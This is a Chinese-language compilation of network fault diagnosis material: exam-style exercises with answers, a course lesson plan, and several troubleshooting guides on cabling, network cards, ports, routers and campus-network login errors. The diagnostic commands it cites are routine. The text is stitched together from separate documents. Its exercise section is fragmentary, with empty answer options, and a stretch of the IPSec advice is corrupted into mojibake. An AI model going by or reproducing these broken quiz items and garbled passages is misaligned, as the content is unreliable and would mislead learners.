欢迎共阅 第1章 网络故障和网络诊断测试工具习题 16． 填空题：逻辑故障中最常见的情况有2类:一类是（ ），是因为网络设备的配置原因而导致的网络异常或故障。另一类是一些（ ），主要是（ ）。 （ 逻辑故障中最常见的情况有2类:一类是（配置错误），是因为网络设备的配置原因而导致的网络异常或故障。另一类是一些（重要进程或端口被关闭），主要是（系统的负载过高,路由器的负载过高）。 ） 17．填空题：网络故障的原因是多方面的，一般分为物理故障和逻辑故障。物理故障，又称（ ），包括（ （ ） 18A. B. C. D. ( A ) 19A. B. C. D. E. F. G. 第2章 11． 填空题：检查电磁场干扰,周围是否有( 、 、 、 、 )等设备。 ( 检查电磁场干扰,周围是否有(光电复印机、寻呼机、手机、电梯、微波炉或X 射线)等设备。 ) 12．填空题：检验调制解调器的配置 ,在( )中，双击( )图标。验证调制解调器的( )，运行( )向导检测调制解调器并确认当前配置是否( )。 ( 检验调制解调器的配置 ,在("控制面板")中，双击("调制解调器")图标。验证调制解调器的(制造商和型号)，运行("安装新调制解调器")向导检测调制解调器并确认当前配置是否(正确)。
) 13．选择题: 获取同步信号的时钟是从: A. 终端、计算机或调制解调器中获取的。 B. 从AT命令功能获取。 C. 从诊断功能获取。 D. 从其他测试功能获取。 ( A ) 14．选择题: 光纤布线后与网络中心点无连接的故障原因： A. 可能配线盒内安装不正确。 B.可能配线盒处跳线接端不正确(要交叉跳线)。 C.光纤不合格，导致衰减过大。 D. E. F. G. 第3章 10． ( 11 ( ) 12 A. B. C. 由软到硬 D . 先易后难 E. 重新设置出错的端口并重新启动交换机 (A B C D ) 13．选择题: 网内计算机的传输速度慢故障的原因： A. 黑客攻击或蠕虫病毒； B. 线路故障； C. 交换机超载； D. 网卡故障; E. 端口模式不匹配;
常见网络故障的排除方法
常见网络故障的排除方法 我们在进行网络硬件和软件的安装之后，可能会遇到各种问题，导致无法连通网络。要解决这些网络问题，必须具备丰富的软、硬件知识。局域网的组建并不复杂，但是很多时候局域网的故障会把人弄得焦头烂额。因此对网络故障测试和调试的方法是解决问题的关键。 局域网的故障主要分硬件故障和软件故障两种。其中硬件故障比较难诊 断和解决。 一、硬件故障 硬件故障又分为以下几种： 1、设备故障 设备故障是指网络设备本身岀现问题。如网线制作或使用中岀现问题，造成网线不通。在一般硬件故障中，网线的问题占其中很大一部分。另外，网卡、集线器和交换机的接口甚至主板的插槽都有可能损坏造成网络不通。 2、设备冲突 设备冲突是困扰电脑用户的难题之一。电脑设备都是要占用某些系统资源的，如中断请求、I/O地址等。网卡最容 易与显卡、声卡等关键设备发生冲突，导致系统工作不正常。 一般情况下，如果先安装显卡和网卡，再安装其他设备，发生网卡与其他设备冲突的可能性就小些。 3、设备驱动问题 设备驱动问题严格来说应该算是软件问题，不过由于驱动程序与硬件的关系比较大，所以也将其归纳为硬件问题。主要问题是岀现不兼容的情况，如驱动程序、驱动程序与操作系统、驱动程序与主板BIOS之间不兼容。 二、软件设置故障 除了硬件故障外，软件设置不正确也会导致局域网岀现各种各样的故障。 1、协议配置问题 协议作为电脑之间通信的语言”如果没有所需的协议，协议绑定不正确，协议的具体设置不正确，如TCP/IP协 议中的IP地址设置不正确，都是导致网络出现故障的原因。 2、服务的安装问题 局域网中，除了协议以外，往往需要安装一些重要的服务。举例来说，如果需要在Windows系统中共享文件和打 印机，就需要安装Microsoft文件和打印共享。
网络故障诊断与排除教案
教案 2013－2014学年第二学期 课程名称网络故障诊断与排除任课教师艾尼瓦尔江
网络故障排除教案
授课内容： 一、问题引入： 1、网络的分类 2、网络的拓朴结构 二、教学内容： 第一章网络技术概述 引入: 对于网络相信同学们都不会陌生,大家通过网络查资料,网络聊天都会使用到网络.那我和大家一起来更深入的学习研究它吧. 第一节计算机网络概述 一、计算机网络的概念 就是利用网络连接设备和传输介质把处于不同地理的、功能独立的PC连接起来，通过使用功能完善的网络软件（协议、信息交换方式、网络操作系统等）实现不同地理位置资源的有效共享和信息传递的系统。 二、计算机网络的分类 1）局域网（LAN） 10公里内、公司、校园 2）城域网（MAN）也可以说是广大的LAN 3）广域网（WAN） 三、计算机网络的组成 1、网络的基本功能：数据传输的正确性、有效性、完整性。 2、因此必须确保网络连接的畅通，网络设备的完好及网络设备中网
络协议的正确运行。 四、计算机网络的通信协议 所谓的通信协议理解的讲法就是一些标准和规则 常用协议 ：NETBEUI 、TCP/IP 、DLC 、IPX/SPX 五、多种多样的网络操作系统 1. 应用于网络中的操作系统主要有：windows 、LINUX 、UNIX 、Windows XP 基于NT 技术，是纯32位操作系统 。 2. Windows XP 支持远程访问控制，让移动用户随时随地访问信息的能力进一步增强。 3.在Windows XP 还支持用户卸载或者重新安装和Windows 整合在一起的内核系统组件。 4.Windows XP 支持将每一个网络连接进行交替配置。 5. IE 6.0也被整合到了Windows XP 里面。 6.OSI 参考模型把网络中计算机之间的信息传递分成七个层，OSI 的七层协议分别执行一个（或一组）任务，各层间相对独立互不影响。 开放系统 中继系统 开放系统 APDU 网关 PPDU 网关 SPDU 网关 TPDU 网关 报文 路由器或 (包) 三层交换机 帧 桥或二层 交换机 比特 HUB 物理介质
网络故障排除技巧
网络故障排除策略 连通性故障 1、故障表现 连通性故障通常表现为以下几种情况： ①电脑无法登录到服务器； ②电脑无法通过局域网接入Internet； ③电脑在“网上邻居”中只能看到自己，而看不到其他电脑，从而无法使用其他电脑上的共享资源和共享打印机； ④电脑无法在网络内实现访问其他电脑上的资源； ⑤网络中的部分电脑运行速度异常的缓慢。 2、故障原因 以下原因可能导致连通性故障： ①网卡未安装，或未安装正确，或与其他设备有冲突； ②网卡硬件故障； ③网络协议未安装，或设置不正确； ④网线、跳线或信息插座故障； ⑤Hub电源未打开，Hub硬件故障，或Hub端口硬件故障; ⑥UPS电源故障。 3、排除方法 ①确认连通性故障 当出现一种网络应用故障时，如无法接入Internet，首先尝试使用其他网络应用，如查找网络中的其他电脑，或使用局域网中的Web浏览等。如果其他网络应用可正常使用，如虽然无法接入Internet，却能够在“网上邻居”中找到其他电脑，或可ping到其他电脑，即可排除连通性故障原因。如果其他网络应用均无法实现，继续下面操作。 ②看LED灯判断网卡的故障 首先查看网卡的指示灯是否正常。正常情况下，在不传送数据时，网卡的指示灯闪烁较慢，传送数据时，闪烁较快。无论是不亮，还是长亮不灭，都表明有故障存在。如果网卡的指示灯不正常，需关掉电脑更换网卡。对于Hub的指示灯，凡是插有网线的端口，指示灯都亮。由于是Hub，所以，指示灯的作用只能指示该端口是否连接有终端设备，不能显示通信状态。 ③用ping命令排除网卡故障 使用ping命令，ping本地的IP地址或电脑名（如ybgzpt），检查网卡和IP网络协议是否安装完好。如果能ping通，说明该电脑的网卡和网络协议设置都没有问题。问题出在电脑与网络的连接上。因此，应当检查网线和Hub及Hub的接口状态，如果无法ping通，只能说明TCP/IP协议有问题。这时可以在电脑的“控制面板”的“系统”中，查看网卡是否已经安装或是否出错。如果在系统中的硬件列表中没有发现网络适配器，或网络适配器前方有一个黄色的“！”，说明网卡未安装正确。需将未知设备或带有黄色的“！”网络适配器删除，刷新后，重新安装网卡。并为该网卡正确安装和配置网络协议，然后进行应用测试。如果网卡无法正确安装，说明网卡可能损坏，必须换一块网卡重试。如果网卡安装正确则原因是协议未安装。 ④如果确定网卡和协议都正确的情况下，还是网络不通，可初步断定是Hub和双绞线
网络故障诊断过程和排除
网络故障诊断过程和排除 网络故障诊断过程和排除 一、常见网络故障 1.1网络硬件故障 网络的硬件故障，主要是看网络设备有没有被正常的连接，网卡有没有安装到正确位置，网路线路是否出现短路问题。并且网络模块和线路的打线的连接是否正常，路由器的电源和所连接的端口有没有安装正常，网络设备和交换机连接是否正常，CPU的温度是否处于正常范围，各网络设备的内部板卡有没有出现损害等问题。由此可见，网络设备和线路的工作环境许多的因素都是可能造成网络故障的主要原因。 1.2网络软件故障 网络软件故障相对网络硬件故障来说复杂得多，网络软件故障主要体现在网卡驱动程度的问题上，看网络协议是否正确，IP地址分配正确没，路由器和交换机在配置上是否准确，并且看VLAN或子网划分是否正确等。当出现网络软件故障的时候，会出现网页无法正常游览，网速较慢、不稳定，网络连接间间断断。 二、网络故障及排查方法 2.1线路故障 在日常网络的维护中，线路的故障主要是指线路出现损坏和线路受到电磁的严重干扰。 线路故障采取的排查方法：短距离的范围内，想要正确的判断网线的好坏一个关键的步骤就是将该网络线一端插入一台正常连接局域网的主机的插座中，而另一段则连接到正常的端口上，插好这两端的线路以后，从主线的一端Ping线路另一端的主机或路由器，根据所出现的通断来判断线路的损坏。对于电磁所受到的干扰，可以
使用屏蔽性能较强的屏蔽线在该网路上进行通信的测试，如果使用 屏蔽线的时候该网络的一切网络通信正常，不使用就无法正常的接 受通信，这就表明该线路受到严重的电磁干扰。 2.2端口故障 端口所出现的故障主要包括端口本身的物理故障、端口关闭和插头松动。 端口故障采取的排查方法：出现端口故障大多数都会影响到与其所连接的其它设备的信号灯，由于信号灯的标志比较明显，网络管 理员可以直接通过信号灯来判断故障出现的大致范围和位置，如果 不能确定可以使用其他端口来看下线路的连接情况。此外，排除了 以上的问题后，还不能确定端口的故障，可以用Ping线路近端的端口，看是否能Ping通，Ping不通时检查该端口是否处于down的状态，如果是的则说明这个端口被关闭了，从而造成了故障产生，在 这个时候只需要重新启动此端口，就可以使该段线路恢复正常。 2.3集线器或路由器故障 集线器或路由器的故障主要是指路由器的端口参数设定出现错误或者出现物理损坏，还包括路由器的CPU使用率过高以及其内存的 所剩余量较少，使线路无法正常的工作，造成网络不通。 集线器或路由器故障采取的排查方法：主要使用的`最简单的方 法是替换排除法，运用通信正常的主机和网线来连接路由器或集线器，如果这个时候通信正常，则代表路由器和集线器没有故障，可 以转换到集线器的端口来查看是不是端口出现问题，在端口正常的 情况下，其指示灯是绿色，如果运用通信正常的主机和网线来连接 路由器或集线器不能正常的通信，则说明是集线器或路由器出现故障。 2.4安全性故障 安全性故障主要包括主机系统不稳定、资源被盗和被黑客所控制。 安全性故障采取的排查方法：出现主机资源被盗的问题，主要是因为攻击者能够通过进程的正常服务或者漏洞来攻击主机，得到和
电脑常见网络故障排除大全
电脑常见网络故障排除大全 由于网络本身的复杂性，所以许多网络故障的定位和排除都需要大量的知识和丰富的组网经验，以及一系列软件和硬件工具。在本文中，将向大家介绍使用Windows XP内置的工具消灭网络故障的思路与方法。笔者将带领大家从诊断网络故障出现的原因、快速排除轻微故障和彻底解决网络故障的方法三方面入手，帮助大家了解并掌握消除网络故障的方法。 微恙自疗 在网络应用中，常常会遇到一些令人心烦的小毛病，如网络时通时断、只能上QQ却不能打开网页等。通过前面的“诊断”得出结果后，你是愿意等高手来排除故障，还是愿意自己动手使用一些“速效”办法来应急“自疗”呢？一般情况下，你还是想自行排除故障吧。 1．“修复”功能 “修复”功能采用了一种“批处理”的方式，在每次执行该功能时，系统会自动调用内置的近十条网络修复命令，从多个方面帮助用户解决网络故障。在“本地连接”的右键快捷菜单中可以看到它的存在。 这个功能可以让网络重新进行DHCP动态IP的分配、可以刷新地址解析协议和NetBIOS 名称等缓存。这个并不起眼的“修复”功能免去了我们手工输入“ipconfig/renew”、“a rp –d”、“nbtstat–R”、“nbtstat–RR”、“ipconfig/flushdns”等诸多命令的麻烦，能够帮助我们极快地解决很多网络中的轻微故障。 2．暂停服务 在Windows XP中，很多系统服务都与网络有着密切的联系，如果你在进行了一些设置后发现网络出现不稳定的现象，不妨先将相关的服务暂时关闭，看看是否能够解决问题。 如使用IPSec技术可以提高网络的安全性，这是众所周知的。但在某些情况下，IPSec 策略会要求网络通信采用“安全模式”，这个要求可能会使一些网络连接变得不稳定。所以，在设置了IPSec策略后 绮晃榷ㄊ保 环料仍凇霸诵小崩钢惺淙搿皊ervices.msc”命令打开“服务”窗口，将列表中的“IPSEC”服务暂时关闭，看看故障是否可以得到解决。如果停止IPSec服务后问题消失，说明故障是IPSec的部分策略导致的，在故障的大概范围确定下来后，再进行顺藤摸瓜式的故障排除即可，如逐个检查或停用可疑的IPSec策略，观察它
常见网络故障排除
常见网络故障排除指南 2010-11-5 17:35:56 一、本地连接故障 （一）本地连接图标红色交叉 若本地连接图标显示红色交叉，则网络不通，检查网卡是否损坏，网卡与网线、网线与宿舍网络端口的连接是否正常。此种情况可通过更换网卡检查是否网卡损坏，与舍友互换网线检查是否网线问题，互换网络端口检查是否宿舍的网络端口问题，确定问题所在再进行处理。另一种可能是雷雨天气用户所在楼栋的网络设备间断电导致，请耐心等待网管员处理。 （二）本地连接图标感叹号 若本地连接图标上有一感叹号，表示网络连通，但无法获取正确的IP地址，请将电脑网卡传输速率设置为“自动检测”。若还无法恢复正常，请电话咨询网络中心或登录报障网页报障。 （三）本地连接图标问号 若本地连接图标上有一问号，表示用户操作系统本地连接属性的验证选项卡里启用了系统自带的IEEE 802.1X验证，需把该选项取消。步骤如下图： 二、客户端软件故障 （一）WIN7系统无法运行HappyDialer软件（兼容性故障）。 若本地连接正常，但是无法运行客户端软件，则需要检查是否软件兼容性的问题（此种情况较多出现在WIN7系统），可尝试使用软件兼容性运行。如下图：右键单击客户端程序，在下拉菜单选择“属性”，在“属性”对话框内勾选“用兼容模式运行这个程序”，选择“Windows XP”或“Windows 98”。并把“允许非管理员运行该程序”也勾选上。如果某些WIN7操作系统使用兼容模式也无法正常运行客户端，请用户考虑更换电脑操作系统。 （二）显示“找不到指定的网络适配器”。 该情况为个人电脑网卡被禁用，请按以下步骤启用网卡：右键单击“网上邻居”的属性，右键单击“本地连接”选择启用。另一种可能是360安全卫士或其他防火墙软件对客户端进行了限制，可先卸载防火墙软件，安装好认证客户端及认证通过正常上网后，再重新安装防火墙软件。 （三）认证过程无法通过。 该需要检查是否账号问题，有校内网账号认证出错和宽带账号认证出错两种情况： A）校园网认证错误代码 返回代码“2”表示“用户账号被锁定”； 解决办法：多数为未充值导致，刷卡即可解锁，不需要联系网络中心处理。 返回代码“3”表示“用户不允许在此机器上登陆”； 解决办法：携带一卡通到网络中心解除网卡物理地址与帐号的绑定。须帐号本人亲自办理，不得代办； 返回代码“4”表示“无此用户或密码错误”； 解决办法：若用户没开户请在触摸屏电脑刷卡交网络费用即可开通；否则请在网络中心主
网络故障诊断和排除
一、局域网常见故障及排除方法 同其他电脑故障一样，局域网故障的成因无非是硬件和软件两个方面，解决故障的方法也是从软件设置和硬件损坏两个方面来考虑。 1、网络不通 这是最常见的问题，解决问题的基本原则是先软后硬。 (1)先从软件方面去考虑，检查是否正确安装了TCP/IP协议，是否为局域网中的每台计算机都指定了正确的IP地址。 (2)使用Ping命令，看其他的计算机是否能够Ping通。如果不通，则证明网络连接有问题；如果能够Ping通但是有时候丢失数据包，则证明网络传输有阻塞，或者说是网络设备接触不大好，需要检查网络设备。 (3)当整个网络都不通时，可能是交换机或集线器的问题，要看交换机或集线器是否在正常工作。 (4)如果只有一台电脑网络不通，即打开这台电脑的“网络邻居”时只能看到本地计算机，而看不到其他计算机，可能是网卡和交换机的连接有问题，则要首先看一下RJ-45水晶头是不是接触不良。然后再用测线仪，测试一下线路是否断裂。最后要检查一下交换机上的端口是否正常工作。 2、连接故障 (1)检查RJ45接口是否制作好，RJ45是10BASE-T网络标准中的接口形式，现在被广泛使用，其内部有8个线槽，线槽含义遵循EIA/TIA568国际标准，在10BASE-T网络中1、2线为发送线，3、6线为接收线。在双机进行连接的时候，其中的1、3、2、6线需要对调。否则也会造成网络的不通。 (2)检查HUB或者交换机的接头是否有问题，如果某个接口有问题，可以换一个接口来测试。 3、网卡故障 (1)网卡的问题不太明显，所以在测试的时候最好是先测试网线，再测试网卡，如果有条件的话，可以使用测线仪或者万用表进行测试。 (2)查看网卡是否正确安装驱动程序，如果没有安装驱动程序，或者驱动程序有问题，则需要重新安装驱动程序。 (3)硬件冲突。需要查看与什么硬件冲突，然后修改对应的中断号和I/O地址来避免冲突，有些网卡还需要在CMOS中进行设置。 4、病毒故障 互联网上有许多能够攻击局域网的病毒，如红色代码、蓝色代码、尼姆达等。某些病毒除了使计算机运行变慢，还可以阻塞网络，造成网络塞车。对付这些新病毒，大多数病毒厂商，例如瑞星，KV3000等都在其主页上没有对付的办法。在这里一定要注意，不要按照平常的杀毒办法杀毒，必须对杀毒软件进行定时的升级。 二、网络故障诊断和排除 按照网络故障不同性质而划分的物理故障与逻辑故障。 1、查看本计算机当前设定的IP参数 Windows 2000/XP用户，可以通过ipconfig命令实现。 操作步骤：进入命令提示符（单击开始→程序→附件→命令提示符）→在窗口中输入命令ipconfig 按回车键即可看到目前各个连接的IP地址，默认网关等项目。 如果需要更详细的信息（比如DNS地址，MAC地址），可以使用ipconfig /all。 2、检测网络故障的基本情况 看是否有下列情况：①有没有配置你的网络？（包括IP,网关,DNS等）②网卡灯是否正常闪烁？（网卡驱动程序是否装好？网卡是否坏了？） 3、网络故障检测步骤： （1）检测本地 ①ping自己的ip地址：进入命令提示符（单击开始→程序→附件→命令提示符）→在窗口中输 入ping ip地址 -t命令。